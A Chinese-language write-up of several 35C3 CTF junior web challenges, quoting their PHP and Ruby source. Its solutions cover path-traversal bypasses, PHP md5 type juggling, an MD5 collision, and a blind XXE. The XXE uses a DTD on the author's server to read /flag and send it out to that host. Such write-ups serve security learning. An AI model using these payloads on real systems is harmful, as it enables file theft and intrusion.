35C3 CTF 部分解题记录(junior) 题目链接:junior.35c3ctf.ccc.ac
flags(37points) 1 2 3 4 5 6 7 8 9 <?php highlight_file(__FILE__); $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot'; $lang = explode(',', $lang)[0]; $lang = str_replace('../', '', $lang); $c = file_get_contents("flags/$lang"); if (!$c) $c = file_get_contents("flags/ot"); echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';
根据代码来看,lang变量,也就是获取的Accept-Language
,这个在发送包里能够修改 可以发现,他会尝试去打开flags/$lang这个文件,于是我们可以控制这个$lang变量,但是用str_replace('../', '', $lang);
进行了处理,这个挺好绕过Accept-Language: ..././..././..././..././flag
get flag35c3_this_flag_is_the_be5t_fl4g
McDonald(44points) 在robots.txt文件下发现备份文件35.207.132.47:85/backup/.DS_Store
直接用工具扫备份 扫到目录下有一个flag.txt 直接打开,就是flag35c3_Appl3s_H1dden_F1l3s
Not(e) accessible(55points) 主页上可以 必须要求是纯字母 如果是字母,就会给你一个链接,访问后会显示你输入的东西 右键发现源码泄露,下载,关键代码 app.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 require 'sinatra' set :bind, '0.0.0.0' get '/get/:id' do File.read("./notes/#{params['id']}.note") end get '/store/:id/:note' do File.write("./notes/#{params['id']}.note", params['note']) puts "OK" end get '/admin' do File.read("flag.txt") end
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php require_once "config.php"; if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") { $note = $_POST['note']; if(strlen($note) > 1000) { die("ERROR! - Text too long"); } if(!preg_match("/^[a-zA-Z]+$/", $note)) { die("ERROR! - Text does not match /^[a-zA-Z]+$/"); } $id = random_int(PHP_INT_MIN, PHP_INT_MAX); $pw = md5($note); # Save password so that we can check it later file_put_contents("./pws/$id.pw", $pw); file_get_contents($BACKEND . "store/" . $id . "/" . $note); echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">'; echo "<p>Your note ID is $id<br>"; echo "Your note PW is $pw</p>"; echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>"; echo '</div>'; } ?>
view.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php header("Content-Type: text/plain"); ?> <?php require_once "config.php"; if(isset($_GET['id']) && isset($_GET['pw'])) { $id = $_GET['id']; if(file_exists("./pws/" . (int) $id . ".pw")) { if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) { echo file_get_contents($BACKEND . "get/" . $id); } else { die("ERROR!"); } } else { die("ERROR!"); } } ?>
从代码中flag在/admin下 发现
1 2 3 if(file_exists("./pws/" . (int) $id . ".pw")) { if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) { echo file_get_contents($BACKEND . "get/" . $id);
这里有打开文件的操作 可以看到,先是会检测我们的id是否正确,接着去打开get/$id. 而这个id参数是我们可控的,如何绕过这个(int)去打开admin目录呢 我们在php下做了一个测试(换行有点问题。。凑合着看看)(int)12345/../../admin
进行处理后变成了12345
也就是说 这样就可以绕过前面的两个if
检测了 于是我们在主页随便写一个正确的字符串,如abc,得到一个id 接着修改id为6349362579628067869/../../admin
即访问 http://35.207.132.47:90/view.php?id=6349362579628067869/../../admin&pw=0cc175b9c0f1b6a831c399e269772661
得到flag
saltfish(62points) 简单粗暴的源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php require_once('flag.php'); if ($_ = @$_GET['pass']) { $ua = $_SERVER['HTTP_USER_AGENT']; if (md5($_) + $_[0] == md5($ua)) { if ($_[0] == md5($_[0] . $flag)[0]) { echo $flag; } } } else { highlight_file(__FILE__); }
如何获得flag?$_
是为我们传进去的pass
参数 $ua
是UA头,可控,也就是说 这两个参数都是我们可控的 第一个判断 MD5后的$_
参数+$_
参数的第一个元素要等于MD5后的$ua
参数 进入第二个判断。$_
的第一个元素要等于MD5后的$_
第一个元素拼接上$flag
参数的第一个元素md5($_) + $_[0] == md5($ua)
在php中字母加字母=0
,字母加数字=数字
于是我们令$_
为数组,md5($_)
返回null,接着,令其开头为字母,于是,字母加上0就等于0,然后令md5($ua)
为0e开头的,于是0e==0,返回TRUE
接着就是绕过第二个判断,这个就需要去fuzz了 最后的pass[]=b
collider (86points) 右键发现源码http://35.207.132.47:83/src.tgz
关键代码 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include_once "config.php"; if(isset($_POST['submit'])) { $pdf1 = $_FILES['pdf1']['tmp_name']; $pdf2 = $_FILES['pdf2']['tmp_name']; if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) { die("The first pdf does not contain 'NO FLAG!'"); } if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) { die("The second pdf does not contain 'GIVE FLAG!'"); } if(md5_file($pdf1) != md5_file($pdf2)) { die("The MD5 hashes do not match!"); } echo "$FLAG"; } ?>
代码的意思是: 我们上传的两个pdf,一个文件内容是NO FLAG! 另一个文件内容是GIVE FLAG! 同时文件内容的md5加密值还需要一样,就能getflag
head -n 1
是获取第一行的内容grep
:-o
指定-o是因为grep默认是显示匹配的那一行,我们只关心精确匹配的部分而不是整行-P
表明后面的pattern是perl兼容正则表达式md5_file
计算指定文件的 MD5 散列值
利用了哈希碰撞hashclash
blind(93points) 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php function __autoload($cls) { include $cls; } class Black { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set("highlight.string", "#0d0d0d"); if ($default) ini_set("highlight.default", "#0d0d0d"); if ($keyword) ini_set("highlight.keyword", "#0d0d0d"); if ($store) { setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/'); } } } class Green { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set("highlight.string", "#00fb00"); if ($default) ini_set("highlight.default", "#00fb00"); if ($keyword) ini_set("highlight.keyword", "#00fb00"); if ($store) { setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/'); } } } if ($_=@$_GET['theme']) { if (in_array($_, ["Black", "Green"])) { if (@class_exists($_)) { ($string = @$_GET['string']) || $string = false; ($default = @$_GET['default']) || $default = false; ($keyword = @$_GET['keyword']) || $keyword = false; new $_($string, $default, $keyword, @$_GET['store']); } } } else if ($_=@$_COOKIE['theme']) { $args = explode('-', $_); if (class_exists($args[0])) { new $args[0]($args[1], $args[2], $args[3], ''); } } else if ($_=@$_GET['info']) { phpinfo(); } highlight_file(__FILE__);
这里代码中用到了__autoload()
函数
1 2 3 4 5 class_exists :(PHP 4, PHP 5, PHP 7) 功能 :检查类是否已定义 定义 : bool class_exists ( string $class_name[, bool $autoload = true ] ) $class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数; 当 $autoload 为 false 时,则不调用 __autoload 函数。
(看到__autoload()
参数和class_exists
便想到之前做过的一个代码审计的练习,Day-3-Snow-Flake ,具体可参考mochazz师傅的MOCHAZZ )
由于$_
变量是我们可控的,并且class_exists
检测了这个参数是否是一个类,于是想到SimpleXMLElement
PHP内置的类进行XXE攻击
如果存在__autoload()
,那么在使用class_exists()
函数就会自动调用本程序中的__autoload()
函数
根据代码,我们通过传参infohttp://35.207.132.47:82/?info=1
查看phpinfo,存在SimpleXML,这也肯定了我们的思路是正确的 如果if ($_=@$_GET['theme'])
通过get将SimpleXMLElement
类传入,就会进行in_array()
判断,所以说我们通过else if ($_=@$_COOKIE['theme'])
COOKIE传入
看一下SimpleXMLElement
的构造函数
1 final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns= "" [, bool $is_prefix = FALSE ]]]] )
第一个data参数是我们要传入的恶意xml 第二个options为可选参数 第三个data_is_url参数是个boole值
于是第一个参数为http://52.36.15.23:8881/hu3sky.xml
是我vps上构造读取flag的xml hu3sky.xml:
1 2 3 4 5 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <x>&xxe;</x>
于是抓包并改包(关键点在COOKIE)
1 2 3 4 5 6 7 8 9 GET / HTTP/1.1 Host: 35.207.132.47:82 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 COOKIE: theme=SimpleXMLElement-http://vps/hu3sky.xml-2-1;
但是由于没有回显,所以我们需要重新构造payload
在vps服务器上放置hu3sky.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://vps/hu3sky.dtd"> %sp; %param1; ]> <r>&exfil;</r>
hu3sky.dtd
1 2 3 <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://vps/?%data;'>">
然后去发包
1 2 3 4 5 6 7 8 9 GET / HTTP/1.1 Host: 35.207.132.47:82 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: theme=SimpleXMLElement-http://vps/hu3sky.xml-2-1; Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
需要注意的是 为了激活实体替换以实现XXE攻击,参数$options
必须被设置为LIBXML_NOENT
即cookie里第三个参数选择2
。除此之外,参数$data_is_url需要被设置为true
由于是boole
型我将它设置为1
,并让$data
指向攻击者的,也就是我的vps上的hu3sky.xml
文件 这里参考挖洞经验 | 从PHP对象实例化到Blind XXE
直接通过页面的报错信息都可以拿到flag,base64解密即可